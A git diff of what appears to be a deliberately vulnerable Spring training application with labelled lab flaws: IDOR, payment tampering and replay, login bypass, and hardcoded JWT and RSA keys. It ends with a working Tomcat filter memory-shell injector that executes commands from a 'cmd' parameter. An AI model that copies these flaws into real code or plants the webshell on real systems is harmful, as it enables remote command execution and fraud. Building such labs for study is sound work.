org.springframework.web.bind.annotation.CrossOrigin; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import top.whgojp.common.utils.R; +import top.whgojp.modules.system.entity.User; +import top.whgojp.modules.system.mapper.UserMapper; + +/** + * @description 逻辑漏洞-水平越权 + * @author: whgojp + * @email: whgojp@foxmail.com + * @Date: 2024/8/28 22:07 + */ +@Slf4j +@Api(value = "HorizontalController", tags = "逻辑漏洞-水平越权") +@Controller +@CrossOrigin(origins = "*") +@RequestMapping("/logic/idor/horizontal") +public class HorizontalController { + @Autowired + private UserMapper userMapper; + + @RequestMapping("") + public String horizontal(){ + return "vul/logic/idor/horizontal"; + } + + @GetMapping("/getUserInfo") + @ResponseBody + public R getUserInfo(String username){ + User user = userMapper.getAllByUsername(username); + if (user!=null){ + return R.ok("用户名:"+user.getUsername()+" 密码:"+user.getPassword()); + }else return R.error("用户名不存在"); + } + @GetMapping("/safe") + @ResponseBody + public R safe(String username){ + // 获取当前登录的用户名 + String currentUsername = SecurityContextHolder.getContext().getAuthentication().getName(); + // 检查当前请求的用户名是否和登录用户名一致 + if (!username.equals(currentUsername)) { + return R.error("您没有权限查看该用户的资料,当前登录用户:"+currentUsername); + } + // 查询用户信息 + User user = userMapper.getAllByUsername(username); + if (user != null) { + return R.ok("用户名:"+user.getUsername()+" 密码:"+user.getPassword()); + } else { + return R.error("用户名不存在"); + } + } + +} diff --git a/src/main/java/top/whgojp/modules/logic/idor/controller/VerticalController.java b/src/main/java/top/whgojp/modules/logic/idor/controller/VerticalController.java new file mode 100644 index 0000000..3eb998f --- /dev/null +++ b/src/main/java/top/whgojp/modules/logic/idor/controller/VerticalController.java @@ -0,0 +1,37 @@ +package top.whgojp.modules.logic.idor.controller; + +import io.swagger.annotations.Api; +import lombok.extern.slf4j.Slf4j; +import org.springframework.security.core.context.SecurityContextHolder; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.CrossOrigin; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import top.whgojp.common.utils.R; + +/** + * @description 逻辑漏洞-垂直越权 + * @author: whgojp + * @email: whgojp@foxmail.com + * @Date: 2024/8/28 22:06 + */ +@Slf4j +@Api(value = "VerticalController", tags = "逻辑漏洞-垂直越权") +@Controller +@CrossOrigin(origins = "*") +@RequestMapping("/logic/idor/vertical") +public class VerticalController { + @RequestMapping("") + public String vertical() { + return "vul/logic/idor/vertical"; + } + + @GetMapping("/vul") + public String vul() { + String currentUsername = SecurityContextHolder.getContext().getAuthentication().getName(); + if ("admin".equals(currentUsername)) { + return "vul/logic/idor/admin"; + } else return "common/401"; + } + +} diff --git a/src/main/java/top/whgojp/modules/logic/pay/controller/PayController.java b/src/main/java/top/whgojp/modules/logic/pay/controller/PayController.java index 0abbb85..c6ffbd4 100644 --- a/src/main/java/top/whgojp/modules/logic/pay/controller/PayController.java +++ b/src/main/java/top/whgojp/modules/logic/pay/controller/PayController.java @@ -1,10 +1,229 @@ package top.whgojp.modules.logic.pay.controller; +import io.swagger.annotations.Api; +import io.swagger.annotations.ApiOperation; +import lombok.extern.slf4j.Slf4j; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.CrossOrigin; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import top.whgojp.common.utils.R; + +import java.math.BigDecimal; +import java.util.Map; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.atomic.AtomicReference; +import java.util.HashMap; + /** - * @description <功能描述> + * @description 逻辑漏洞-支付漏洞 * @author: whgojp * @email: whgojp@foxmail.com * @Date: 2024/8/28 22:07 */ +@Slf4j +@Api(value = "PayController", tags = "逻辑漏洞-支付漏洞") +@Controller +@CrossOrigin(origins = "*") +@RequestMapping("/logic/pay") public class PayController { + // 用户余额 + private final AtomicReference userMoney = new AtomicReference<>(new BigDecimal("1000.00")); + // 商品单价(用于服务端验证) + private final BigDecimal goodPrice = new BigDecimal("100.00"); + // 订单状态缓存 + private final Map orderStatusMap = new ConcurrentHashMap<>(); + // 支付状态缓存(用于防止重复支付) + private final Map paymentStatusMap = new ConcurrentHashMap<>(); + + @RequestMapping("") + public String pay() { + return "vul/logic/pay/pay"; + } + + /** + * 订单状态类 + */ + private static class OrderStatus { + BigDecimal amount; + boolean isPaid; + String orderId; + + public OrderStatus(String orderId, BigDecimal amount) { + this.orderId = orderId; + this.amount = amount; + this.isPaid = false; + } + } + + /** + * 漏洞场景1:支付金额参数篡改 + * 由于未对客户端传入的价格参数进行验证,攻击者可以修改支付金额 + */ + @ApiOperation("支付金额参数篡改漏洞") + @RequestMapping("/vul1") + @ResponseBody + public R vul1(@RequestParam String count, @RequestParam String price) { + try { + double totalPrice = Integer.parseInt(count) * Double.parseDouble(price); + log.info("用户需支付金额:" + totalPrice); + + // 直接使用客户端传入的价格,未与服务端商品实际价格进行校验 + BigDecimal currentMoney = userMoney.get(); + if (currentMoney.compareTo(BigDecimal.valueOf(totalPrice)) < 0) { + return R.error("支付金额不足,支付失败!"); + } + userMoney.set(currentMoney.subtract(BigDecimal.valueOf(totalPrice))); + return R.ok("支付成功!剩余余额:" + userMoney.get()); + } catch (Exception e) { + return R.error(e.toString()); + } + } + + /** + * 漏洞场景2:订单重放攻击 + * 由于未对订单是否重复支付进行验证,攻击者可以重复发送相同的支付请求 + */ + @ApiOperation("订单重放攻击漏洞") + @RequestMapping("/vul2") + @ResponseBody + public R vul2(@RequestParam String orderId, @RequestParam double amount) { + // 未检查订单是否已支付 + // 这里应该使用paymentStatusMap检查订单是否已支付,但为了演示漏洞,故意不检查 + BigDecimal currentMoney = userMoney.get(); + if (currentMoney.compareTo(BigDecimal.valueOf(amount)) < 0) { + return R.error("余额不足"); + } + userMoney.set(currentMoney.subtract(BigDecimal.valueOf(amount))); + return R.ok("支付成功!剩余余额:" + userMoney.get()); + } + + /** + * 漏洞场景3:竞态条件漏洞 + * 由于未正确处理并发支付请求,可能导致重复扣款或余额计算错误 + */ + @ApiOperation("竞态条件漏洞") + @RequestMapping("/vul3") + @ResponseBody + public R vul3(@RequestParam String orderId, @RequestParam double amount) { + // 模拟处理延迟 + try { + Thread.sleep(1000); + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + } + + BigDecimal currentMoney = userMoney.get(); + if (currentMoney.compareTo(BigDecimal.valueOf(amount)) < 0) { + return R.error("余额不足"); + } + userMoney.set(currentMoney.subtract(BigDecimal.valueOf(amount))); + return R.ok("支付成功!剩余余额:" + userMoney.get()); + } + + /** + * 漏洞场景4:支付流程绕过 + * 由于状态校验不完整,攻击者可能绕过支付流程直接修改订单状态 + */ + @ApiOperation("支付流程绕过漏洞 - 创建订单") + @RequestMapping("/vul4/create") + @ResponseBody + public R createOrder(@RequestParam String orderId, @RequestParam double amount) { + OrderStatus status = new OrderStatus(orderId, BigDecimal.valueOf(amount)); + orderStatusMap.put(orderId, status); + Map data = new HashMap<>(); + data.put("orderId", orderId); + data.put("amount", amount); + return R.ok("订单创建成功").put("data", data); + } + + @ApiOperation("支付流程绕过漏洞 - 查询订单状态") + @RequestMapping("/vul4/status") + @ResponseBody + public R getOrderStatus(@RequestParam String orderId) { + OrderStatus status = orderStatusMap.get(orderId); + if (status == null) { + return R.error("订单不存在"); + } + Map data = new HashMap<>(); + data.put("orderId", status.orderId); + data.put("amount", status.amount); + data.put("isPaid", status.isPaid); + return R.ok().put("data", data); + } + + @ApiOperation("支付流程绕过漏洞 - 支付通知") + @RequestMapping("/vul4/notify") + @ResponseBody + public R paymentNotify(@RequestParam String orderId, @RequestParam boolean success) { + // 未验证通知来源,直接更新订单状态 + OrderStatus status = orderStatusMap.get(orderId); + if (status == null) { + return R.error("订单不存在"); + } + status.isPaid = success; + return R.ok("状态更新成功"); + } + + + /** + * 漏洞场景5:整数溢出漏洞 + * 当count或price数值过大时,可能会导致整数溢出 + */ + @ApiOperation("整数溢出漏洞") + @RequestMapping("/vul5") + @ResponseBody + public R integerOverflow(@RequestParam String count, @RequestParam String price) { + try { + Integer countValue = Integer.valueOf(count); + Integer priceValue = Integer.valueOf(price); + + // 整数溢出场景:当 count 或 price 数值过大时,可能会导致溢出 + int totalAmount = countValue * priceValue; + log.info("用户需支付金额:" + totalAmount); + + BigDecimal currentMoney = userMoney.get(); + if (currentMoney.compareTo(BigDecimal.valueOf(totalAmount)) < 0) { + return R.error("支付金额不足,支付失败!"); + } + userMoney.set(currentMoney.subtract(BigDecimal.valueOf(totalAmount))); + return R.ok("支付成功!剩余余额:" + userMoney.get()); + } catch (Exception e) { + return R.error("无效的输入,请输入有效的数量和价格!"); + } + } + + /** + * 漏洞场景6:浮点数精度漏洞 + * 由于未正确处理浮点数精度,可能导致金额计算不准确 + */ + @ApiOperation("浮点数精度漏洞") + @RequestMapping("/vul6") + @ResponseBody + public R floatingPointPrecision(@RequestParam String count, @RequestParam String price) { + try { + // 使用BigDecimal处理金额计算,避免浮点数精度问题 + BigDecimal amountValue = new BigDecimal(price).multiply(new BigDecimal(count)); + log.info("用户需支付金额:" + amountValue); + + BigDecimal currentMoney = userMoney.get(); + if (currentMoney.compareTo(amountValue) < 0) { + return R.error("支付金额不足,支付失败!"); + } + userMoney.set(currentMoney.subtract(amountValue)); + return R.ok("支付成功!剩余余额:" + userMoney.get()); + } catch (Exception e) { + return R.error("无效的输入,请输入有效的数量和价格!"); + } + } + + @ApiOperation("重置用户余额") + @RequestMapping("/resetBalance") + @ResponseBody + public R resetBalance() { + userMoney.set(new BigDecimal("1000.00")); + return R.ok("余额已重置为1000.00元"); + } } diff --git a/src/main/java/top/whgojp/modules/loginconfront/controller/AccountController.java b/src/main/java/top/whgojp/modules/loginconfront/controller/AccountController.java new file mode 100644 index 0000000..928cdd6 --- /dev/null +++ b/src/main/java/top/whgojp/modules/loginconfront/controller/AccountController.java @@ -0,0 +1,64 @@ +package top.whgojp.modules.loginconfront.controller; + +import io.swagger.annotations.Api; +import lombok.extern.slf4j.Slf4j; +import org.apache.regexp.RE; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.CrossOrigin; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import top.whgojp.common.utils.R; + +import java.util.Arrays; +import java.util.HashSet; +import java.util.Set; + +/** + * @description 登录对抗-账号安全 + * @author: whgojp + * @email: whgojp@foxmail.com + * @Date: 2024/8/8 23:16 + */ +@Slf4j +@Api(value = "AccountController", tags = "登录对抗-账号安全") +@Controller +@CrossOrigin(origins = "*") +@RequestMapping("/loginconfront/account") +public class AccountController { + // 测试账号密码 + final Set REAL_USERNAMES = new HashSet<>(Arrays.asList("admin", "test", "12345", "root")); + final String REAL_PASSWORD = "admin123"; + + @RequestMapping("") + public String account() { + return "vul/loginconfront/account"; + } + + @RequestMapping("/vul1") + @ResponseBody + public R vul1(String username, String password) { + if (REAL_USERNAMES.contains(username)) { + if (REAL_PASSWORD.equalsIgnoreCase(password)) { + return R.ok("登录成功!用户名:" + username + ", 密码:" + password); + } else { + return R.error("密码错误,请重试!"); + } + } else { + return R.error("用户不存在!"); + } + } + + @RequestMapping("/vul2") + @ResponseBody + public R vul2(String username, String password) { + // 这里简单模拟下数据库查询操作 + // User user = UserService.getAllByUsernameAndPassword(username,password) + if ("admin".equalsIgnoreCase(username) && "admin".equalsIgnoreCase(password)) { + return R.ok("登录成功!用户名:" + username + ", 密码:" + password); + } else { + return R.ok("账号或密码错误!"); + } + } + + +} diff --git a/src/main/java/top/whgojp/modules/loginconfront/controller/BypassController.java b/src/main/java/top/whgojp/modules/loginconfront/controller/BypassController.java new file mode 100644 index 0000000..cfd4093 --- /dev/null +++ b/src/main/java/top/whgojp/modules/loginconfront/controller/BypassController.java @@ -0,0 +1,106 @@ +package top.whgojp.modules.loginconfront.controller; + +import io.swagger.annotations.Api; +import lombok.extern.slf4j.Slf4j; +import org.springframework.http.ResponseEntity; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.*; +import top.whgojp.common.utils.R; + +import java.util.*; + +/** + * @description 登录对抗-登录绕过 + * @author: whgojp + * @email: whgojp@foxmail.com + * @Date: 2024/11/19 21:01 + */ +@Slf4j +@Api(value = "BypassController", tags = "登录对抗-登录绕过") +@Controller +@CrossOrigin(origins = "*") +@RequestMapping("/loginconfront/bypass") +public class BypassController { + @RequestMapping("") + public String bypass() { + return "vul/loginconfront/bypass"; + } + + @RequestMapping("/reset") + public String reset() { + return "vul/loginconfront/resetpass"; + } + + // 测试账号密码 + final String REAL_USERNAME = "admin"; + final String REAL_PASSWORD = "admin123"; + + @PostMapping("/vul1step1") + @ResponseBody + public R vul1step1(String username, String password) { + if (REAL_USERNAME.equalsIgnoreCase(username) && REAL_PASSWORD.equalsIgnoreCase(password)) { + return R.ok("账号校验通过,请稍等!"); + } else { + return R.error("账号校验失败,请重试!"); + } + } + + @PostMapping("/vul1step2") + @ResponseBody + public R vul1step2(String code) { + if ("0".equals(code)) { + return R.ok("登录成功,欢迎!"); + } else { + return R.error("登录失败!"); + } + } + + + private final Map stepData = new HashMap<>(); + + private final String oladPass = "!@#qwf@3123"; + + // step1:验证用户名 + @PostMapping("/step1") + @ResponseBody + public R vul2Step1(@RequestParam String username) { + try { + log.info("用户名:" + username); + if (username.isEmpty()) { + return R.error("用户名不能为空"); + } + stepData.put(1, username); + return R.ok("用户名验证成功!"); + } catch (Exception e) { + return R.error("服务器错误,请稍后再试"); + } + } + + + // step2:验证旧密码 + @PostMapping("/step2") + @ResponseBody + public R vul2Step2(@RequestParam String oldPassword) { + if (oldPassword.isEmpty()) { + return R.error("旧密码不能为空!"); + } + if (!oladPass.equals(oldPassword)) { + return R.error("旧密码错误!"); + } + stepData.put(2, oldPassword); + return R.ok("密码验证成功!"); + } + + // step3:设置新密码 + @PostMapping("/step3") + @ResponseBody + public R vul2Step3(@RequestParam String newPassword) { + if (newPassword.length() < 6) { + return R.error("密码长度必须大于6!"); + } + stepData.put(3, newPassword); + System.out.println("表单数据: " + stepData); + return R.ok("密码重置成功!"); + } + +} diff --git a/src/main/java/top/whgojp/modules/loginconfront/controller/CredentialController.java b/src/main/java/top/whgojp/modules/loginconfront/controller/CredentialController.java new file mode 100644 index 0000000..b9774aa --- /dev/null +++ b/src/main/java/top/whgojp/modules/loginconfront/controller/CredentialController.java @@ -0,0 +1,83 @@ +package top.whgojp.modules.loginconfront.controller; + +import io.jsonwebtoken.*; +import io.jsonwebtoken.security.Keys; +import io.swagger.annotations.Api; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.*; +import top.whgojp.common.utils.R; + +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.http.HttpSession; +import java.nio.charset.StandardCharsets; +import java.security.Key; + +/** + * @description 登录对抗-凭证安全 + * @author: whgojp + * @email: whgojp@foxmail.com + * @Date: 2024/11/19 22:28 + */ +@Slf4j +@Api(value = "CredentialController", tags = "登录对抗-凭证安全") +@Controller +@CrossOrigin(origins = "*") +@RequestMapping("/loginconfront/credential") +public class CredentialController { + @RequestMapping("") + public String credential() { + return "vul/loginconfront/credential"; + } + + // 生成一个符合HS256要求的强密钥(至少256位) + @Value("${jwt.key}") + String secretKey = "f3a4c6d5b9bfeff28b1f529b0840134bcd4183474e2d4a97c05615a134e4f4da"; + Key key = new SecretKeySpec(secretKey.getBytes(StandardCharsets.UTF_8), SignatureAlgorithm.HS256.getJcaName()); + +// Key key = Keys.secretKeyFor(SignatureAlgorithm.HS256); + + @GetMapping("/generate-jwt") + @ResponseBody + public R generateJWT(String username, String role) { + String jwt = Jwts.builder() + .setSubject(username) + .claim("role", role) + .signWith(key) + .compact(); + log.info("生成的JWT: " + jwt); + return R.ok(jwt); + } + + @RequestMapping("/vul1") + @ResponseBody + public R vul1(@RequestHeader("Auth_Token") String jwt) { // 从请求头获取 JWT + log.info("获取到的JWT:" + jwt); + try { + String user = Jwts.parser() + .setSigningKey(key) + .parseClaimsJws(jwt) + .getBody() + .getSubject(); + String role = Jwts.parserBuilder() + .setSigningKey(key) + .build() + .parseClaimsJws(jwt) + .getBody() + .get("role", String.class); + + log.info("JWT解析成功,用户:" + user); + return R.ok("JWT解析成功,user:" + user+",role:"+role); + } catch (Exception e) { + log.info("JWT解析失败:" + e.getMessage()); + return R.error("JWT解析失败:" + e.getMessage()); + } + } + + @RequestMapping("/vul2") + public R vul2() { + return R.ok(); + } + +} diff --git a/src/main/java/top/whgojp/modules/loginconfront/controller/LoginRequest.java b/src/main/java/top/whgojp/modules/loginconfront/controller/LoginRequest.java new file mode 100644 index 0000000..24b0072 --- /dev/null +++ b/src/main/java/top/whgojp/modules/loginconfront/controller/LoginRequest.java @@ -0,0 +1,29 @@ +package top.whgojp.modules.loginconfront.controller; + +/** + * @description <功能描述> + * @author: whgojp + * @email: whgojp@foxmail.com + * @Date: 2024/11/24 00:16 + */ +public class LoginRequest { + private String encryptedUsername; + private String encryptedPassword; + + // Getter和Setter方法 + public String getEncryptedUsername() { + return encryptedUsername; + } + + public void setEncryptedUsername(String encryptedUsername) { + this.encryptedUsername = encryptedUsername; + } + + public String getEncryptedPassword() { + return encryptedPassword; + } + + public void setEncryptedPassword(String encryptedPassword) { + this.encryptedPassword = encryptedPassword; + } +} diff --git a/src/main/java/top/whgojp/modules/loginconfront/controller/ReverseController.java b/src/main/java/top/whgojp/modules/loginconfront/controller/ReverseController.java new file mode 100644 index 0000000..ba79487 --- /dev/null +++ b/src/main/java/top/whgojp/modules/loginconfront/controller/ReverseController.java @@ -0,0 +1,164 @@ +package top.whgojp.modules.loginconfront.controller; + +import io.swagger.annotations.Api; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Controller; +import org.springframework.util.DigestUtils; +import org.springframework.web.bind.annotation.*; +import top.whgojp.common.utils.R; + +import javax.crypto.Cipher; +import java.security.KeyFactory; +import java.security.PrivateKey; +import java.security.spec.PKCS8EncodedKeySpec; +import java.util.*; + +/** + * @description 登录对抗-JS逆向 + * @author: whgojp + * @email: whgojp@foxmail.com + * @Date: 2024/11/19 22:25 + */ +@Slf4j +@Api(value = "ReverseController", tags = "登录对抗-JS逆向") +@Controller +@CrossOrigin(origins = "*") +@RequestMapping("/loginconfront/reverse") +public class ReverseController { + @RequestMapping("") + public String reverse() { + return "vul/loginconfront/reverse"; + } + + final String REAL_USERNAME = "admin"; + final String REAL_PASSWORD = "admin123"; + + // 固定密钥 + private static final String KEY = "FF38DC304A1D74B19F24A36C09FD6B72"; + + // 生成签名的方法 + private String generateSign(Map params) { + TreeMap sortedParams = new TreeMap<>(params); + StringBuilder query = new StringBuilder(); + for (Map.Entry entry : sortedParams.entrySet()) { + query.append(entry.getKey()).append("=").append(entry.getValue()).append("&"); + } + if (query.length() > 0) { + query.setLength(query.length() - 1); + } + return DigestUtils.md5DigestAsHex((query.toString() + KEY).getBytes()); + } + + // 请求签名绕过 + @PostMapping("/vul1") + @ResponseBody + public R vul1(@RequestBody Map params) { + log.info(params.toString()); + // 获取请求的参数 + String username = params.get("username"); + String password = params.get("password"); + String timestamp = params.get("timestamp"); + String sign = params.get("sign"); + + // 校验参数是否齐全 + if (username == null || password == null || timestamp == null || sign == null) { + return R.error("缺少必要参数"); + } + + Map sortedParams = new HashMap<>(); + sortedParams.put("username", username); + sortedParams.put("password", password); + sortedParams.put("timestamp", timestamp); + + String generatedSign = generateSign(sortedParams); + + if (!generatedSign.equals(sign)) { + return R.error("签名验证失败"); + } + + if (REAL_USERNAME.equals(username) && REAL_PASSWORD.equals(password)) { + return R.ok("登录成功!用户名:" + username + ",密码:" + password); + } else { + return R.error("用户名或密码错误"); + } + } + +// @Value("${rsa.private.key}") + private String privateKey = "-----BEGIN PRIVATE KEY-----\n" + + "MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDHoirq0G+M0epz\n" + + "NCYkkCii2wF8oz/3IkK5NXztmUjRjUQUbrkmjz1osdbsGoFQl6lwoL2RwDk8lpZI\n" + + "XkFgSW1jY0+ch8aQdqYp4XLBaHhpjLroyUGqv3UXDRbLHw9CWnQIkp+I8RCbPBSh\n" + + "umKYC8oF0jWTTS94I1t/6Hzcm1+tkUkPBzQTQMxmr4GDd1GZB1ddH3buPfBc/2wT\n" + + "mzSG/0ao0Py4Zj9Mo9G7buutUlUQVPO08FAzxCeRrb3Ijbv4Lo706mp4UuXGDz2u\n" + + "KmCiSifKfJr8a7E7uRGRKeXuG+ON2RAQ4tUYmY7sqDM4WfOUIxR6aRtqQan84yaG\n" + + "r0bI2pKhAgMBAAECggEAAh1AJfFUA8ezsLQoROyyQs/zIv+J8s4DVbmmC3sl3QhJ\n" + + "ZLZWfNIkCkWQkJAS912f1FrzdFrMOw105Sp7DUVseegS71tgbuZpdJntZfR7X/zM\n" + + "UaD+B8xUIGIfBW2HCG1zpfqYOMeleiC9BDMjOQKDns5UNcLpwjSM/cdieSX7xwIK\n" + + "g/ZIP9ndW8pGZ4NpKknIf9+klKUX+bJr5y/qAWio89rnlxFMkemqXr8J7p+Fe7l/\n" + + "bFXge4+EInGSbnTc0JsqN3bwh0qk8PW4J2NBQGA2KF7cTilkg96tgXUamz/fqbqd\n" + + "Dyzy/+Qckmg1GsvVyJ/p5eDMuaBSUmpcgUvYzyF/EQKBgQDyYE0PRj3+KvEB+I6C\n" + + "PCxkN6FZ6XKHU+XHP3Q8bYXSSNH3un/ikxc8/agR5osB9xpUbTAHLBHiSZiytt+g\n" + + "priFzFiVzGsLNLOdOCivLIDRi15yg62980EyaSjautXdro8vfmXQcU5369MKoH9d\n" + + "IiSIc0VcSHMJRxa6q4ErRIigCQKBgQDS2tDPdZYjWH6WfP4i7AMD/lAuEDHe1OMU\n" + + "0kCnovT430u52kGY64Ae7p59coSG3AKJNj5ubZYq3Qt4DGCVKs17yWJYoMbpQH5o\n" + + "orr61xRZ37TiSw6JTQHsE7Vo4EswKGZTHF3pBO+Coj9JHElkZCbdP2fhha6O+vLH\n" + + "RLCatehT2QKBgA7FY6zcoQaOY2W1WioBtMrewQyTt5EbwdMkwNa17gPkwDcSvJx4\n" + + "TmA/LTD6Fdqmzon6pYSqYOSji5TIpFRMFM7Cp1tpu9RQ/+lC9OfIFImwrq7X64y5\n" + + "+G00D3NVE5eQ/dTtJRNQ9HFGg/QP1/M7E3LlY4K+P5R/Kplxvkt+v7zRAoGBALl7\n" + + "maJWCwvuxfS14Y1w1jpGFdxfjK870MK5Lf0JobvoGiJUt83ApMURHcS235QOqABy\n" + + "Ajt8FVSBfJxPLwspSvdwsR3L2Q7JGCoNtLQCTbm9y84hPplTb7Rvpe6rGBk2AMVt\n" + + "t8LK/7KH7WnwAzPX0kRgiY5e3a6TXMwkRcLi8IwJAoGBAMiQrXp3Rdu91Jpiv2qQ\n" + + "P3wAOUpBGwMMg5/AyGM3fPyQOKYY2pMoYmkXhFZD7lHDFgQmi9tSBTLj2/0kET/E\n" + + "nHGICvwlri2P3vAClCmNzvPQ+AZp+GEy7dKYO5K5frVrnQ5O54MYyCeGG3Rdc5FS\n" + + "iPqxlbGrQoUEtF5AG7YRadal\n" + + "-----END PRIVATE KEY-----\n"; + + private static String cleanKey(String key) { + return key.replace("-----BEGIN PRIVATE KEY-----", "") + .replace("-----END PRIVATE KEY-----", "") + .replace("-----BEGIN PUBLIC KEY-----", "") + .replace("-----END PUBLIC KEY-----", "") + .replaceAll("\\s", ""); + } + + // 解密函数 + private String decryptData(String encryptedData) throws Exception { + byte[] decoded = Base64.getDecoder().decode(encryptedData); + String cleanedPrivateKey = cleanKey(privateKey); + byte[] privateKeyBytes = Base64.getDecoder().decode(cleanedPrivateKey); + + KeyFactory keyFactory = KeyFactory.getInstance("RSA"); + PKCS8EncodedKeySpec keySpec = new PKCS8EncodedKeySpec(privateKeyBytes); + PrivateKey privateKey = keyFactory.generatePrivate(keySpec); + + Cipher cipher = Cipher.getInstance("RSA/ECB/PKCS1Padding"); + cipher.init(Cipher.DECRYPT_MODE, privateKey); + + byte[] decryptedBytes = cipher.doFinal(decoded); + return new String(decryptedBytes); + } + + + @PostMapping("/vul2") + @ResponseBody + public R vul2(@RequestBody LoginRequest request) { +// log.info("用户名:"+request.getEncryptedUsername()+",密码:"+request.getEncryptedPassword()); + try { + String decryptedUsername = decryptData(request.getEncryptedUsername()); + String decryptedPassword = decryptData(request.getEncryptedPassword()); + +// log.info("解密后的用户名:"+decryptedUsername+",密码:"+decryptedPassword); + + if (REAL_USERNAME.equals(decryptedUsername) && REAL_PASSWORD.equals(decryptedPassword)) { + return R.ok("登录成功!用户名:" + decryptedUsername + ",密码:" + decryptedPassword); + } else { + return R.error("用户名或密码错误!"); + } + } catch (Exception e) { + return R.error("解密失败!"); + } + } + + +} diff --git a/src/main/java/top/whgojp/modules/mshell/controller/BaseMemShellController.java b/src/main/java/top/whgojp/modules/mshell/controller/BaseMemShellController.java new file mode 100644 index 0000000..08d4d22 --- /dev/null +++ b/src/main/java/top/whgojp/modules/mshell/controller/BaseMemShellController.java @@ -0,0 +1,47 @@ +package top.whgojp.modules.mshell.controller; + +import lombok.extern.slf4j.Slf4j; +import org.apache.catalina.Context; +import org.springframework.web.context.request.RequestContextHolder; +import org.springframework.web.context.request.ServletRequestAttributes; + +import javax.servlet.http.HttpServletRequest; +import java.lang.reflect.Field; + +/** + * 内存马基础控制器 + * 提供获取Context等通用方法 + * + * @author whgojp + * @date 2024/03/20 + */ +@Slf4j +public class BaseMemShellController { + + /** + * 获取Tomcat的Context对象 + * 通过反射获取内部的context字段 + * + * @return Tomcat的Context对象 + * @throws Exception 如果获取失败 + */ + protected Context getContext() throws Exception { + ServletRequestAttributes attributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes(); + if (attributes == null) { + throw new RuntimeException("获取ServletRequestAttributes失败"); + } + + HttpServletRequest request = attributes.getRequest(); + // 获取包装的request对象 + Field requestField = request.getClass().getDeclaredField("request"); + requestField.setAccessible(true); + Object requestObject = requestField.get(request); + + // 获取内部的context字段 + Field contextField = requestObject.getClass().getDeclaredField("context"); + contextField.setAccessible(true); + Object contextObject = contextField.get(requestObject); + + return (Context) contextObject; + } +} diff --git a/src/main/java/top/whgojp/modules/mshell/controller/FilterMemShellController.java b/src/main/java/top/whgojp/modules/mshell/controller/FilterMemShellController.java new file mode 100644 index 0000000..b462222 --- /dev/null +++ b/src/main/java/top/whgojp/modules/mshell/controller/FilterMemShellController.java @@ -0,0 +1,144 @@ +package top.whgojp.modules.mshell.controller; + +import io.swagger.annotations.Api; +import io.swagger.annotations.ApiOperation; +import io.swagger.annotations.ApiParam; +import lombok.extern.slf4j.Slf4j; +import org.apache.catalina.Context; +import org.apache.catalina.core.StandardContext; +import org.apache.tomcat.util.descriptor.web.FilterDef; +import org.apache.tomcat.util.descriptor.web.FilterMap; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.*; +import top.whgojp.common.utils.R; + +import javax.servlet.*; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.io.InputStream; + +/** + * Filter型内存马 + * 通过动态注册Filter实现命令执行 + * + * @author whgojp + * @date 2024/03/20 + */ +@Slf4j +@Api(tags = "Filter型内存马") +@Controller +@RequestMapping("/mshell/filter") +public class FilterMemShellController extends BaseMemShellController { + + @RequestMapping("") + public String index() { + return "vul/mshell/filter"; + } + + @ApiOperation("注入Filter型内存马") + @PostMapping("/inject") + @ResponseBody + public R inject( + @ApiParam("过滤器名称") @RequestParam(defaultValue = "evilFilter") String filterName, + @ApiParam("URL Pattern") @RequestParam(defaultValue = "/*") String urlPattern, + @ApiParam("命令参数名") @RequestParam(defaultValue = "cmd") String cmdParam) { + try { + Context context = getContext(); + if (context == null) { + return R.error("获取Context失败"); + } + + // 创建恶意Filter + Filter evilFilter = new Filter() { + @Override + public void init(FilterConfig filterConfig) {} + + @Override + public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) + throws IOException, ServletException { + HttpServletRequest req = (HttpServletRequest) request; + HttpServletResponse resp = (HttpServletResponse) response; + + String cmd = req.getParameter(cmdParam); + if (cmd != null) { + try { + Process process = Runtime.getRuntime().exec(cmd); + InputStream in = process.getInputStream(); + byte[] b = new byte[1024]; + int n; + while ((n = in.read(b)) != -1) { + resp.getOutputStream().write(b, 0, n); + } + resp.getOutputStream().flush(); + return; + } catch (IOException e) { + log.error("命令执行失败", e); + resp.getWriter().println("Error: " + e.getMessage()); + return; + } + } + chain.doFilter(request, response); + } + + @Override + public void destroy() {} + }; + + // 创建FilterDef + FilterDef filterDef = new FilterDef(); + filterDef.setFilterName(filterName); + filterDef.setFilterClass(evilFilter.getClass().getName()); + filterDef.setFilter(evilFilter); + + // 创建FilterMap + FilterMap filterMap = new FilterMap(); + filterMap.setFilterName(filterName); + filterMap.addURLPattern(urlPattern); + + // 注册Filter + StandardContext standardContext = (StandardContext) context; + standardContext.addFilterDef(filterDef); + standardContext.addFilterMap(filterMap); + + log.info("Filter型内存马注入成功,名称: {}, URL Pattern: {}, 命令参数: {}", + filterName, urlPattern, cmdParam); + return R.ok("内存马注入成功").put("data", String.format( + "Filter名称: %s\nURL Pattern: %s\n命令参数: %s", + filterName, urlPattern, cmdParam)); + } catch (Exception e) { + log.error("注入失败", e); + return R.error("注入失败:" + e.getMessage()); + } + } + + @ApiOperation("检测Filter型内存马") + @GetMapping("/detect") + @ResponseBody + public R 